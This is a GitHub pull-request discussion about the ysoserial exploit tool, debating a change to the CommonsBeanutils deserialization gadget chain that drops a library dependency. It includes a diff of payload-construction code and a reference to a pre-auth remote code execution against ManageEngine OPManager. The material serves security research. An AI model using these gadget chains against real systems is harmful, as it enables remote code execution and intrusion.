Remove a dependency for CommonsBeanutils1

[zeroSteiner]

This updates the CommonsBeanutils gadget to use the overloaded constructor with the java.util.Collections.ReverseComparator native Java comparator. This effectively removes the dependency on the commons-collections library thus allowing this gadget to be used in more scenarios.

This is called out in the blog Pre-Auth RCE in ManageEngine OPManager as being a necessary change to exploit the vulnerability. Given that the dependency is removed and not replaced, it seems like an ideal improvement.

If for whatever reason this should be implemented as an entirely new gadget, just let me know and I'll switch it over.

[frohoff]

Thanks a ton for the PR, but going to close this in favor of #162 which came a little earlier (both PR and source blog post) and does almost the exact same thing.

$ diff -w --suppress-common-lines <(curl -s https://raw.githubusercontent.com/frohoff/ysoserial/23f2d068edb50e9e4d612a007fc80e019c9acbd6/src/main/java/ysoserial/payloads/CommonsBeanutils1.java) <(curl -s https://raw.githubusercontent.com/frohoff/ysoserial/5bf23d9c2247746a45e876367ce2f5c16bca7fb1/src/main/java/ysoserial/payloads/CommonsBeanutils2.java)
3,6d2
< import java.math.BigInteger;
< import java.util.Collections;
< import java.util.PriorityQueue;
<
8d3
<
14a10,13
> import java.util.PriorityQueue;
>
> // Origin Detective is PHITHON From
> // https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
16,18c15,17
< @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
< @Authors({ Authors.FROHOFF })
< public class CommonsBeanutils1 implements ObjectPayload<Object> {
---
> @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
> @Authors({Authors.K4n5ha0})
> public class CommonsBeanutils2 implements ObjectPayload<Object> {
23c22
<               final BeanComparator comparator = new BeanComparator("lowestSetBit", Collections.reverseOrder());
---
>         final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
28,29c27,28
<               queue.add(new BigInteger("1"));
<               queue.add(new BigInteger("1"));
---
>         queue.add("1");
>         queue.add("1");
43c42
<               PayloadRunner.run(CommonsBeanutils1.class, args);
---
>         PayloadRunner.run(CommonsBeanutils2.class, args);

[zeroSteiner]

Are you sure #162, it looks nothing like this? #157 looks to be the same but the commits are different.

[frohoff]

Yes, sorry, I meant #163 which just uses new BeanComparator(null, String.CASE_INSENSITIVE_ORDER) instead of new BeanComparator("lowestSetBit", Collections.reverseOrder()).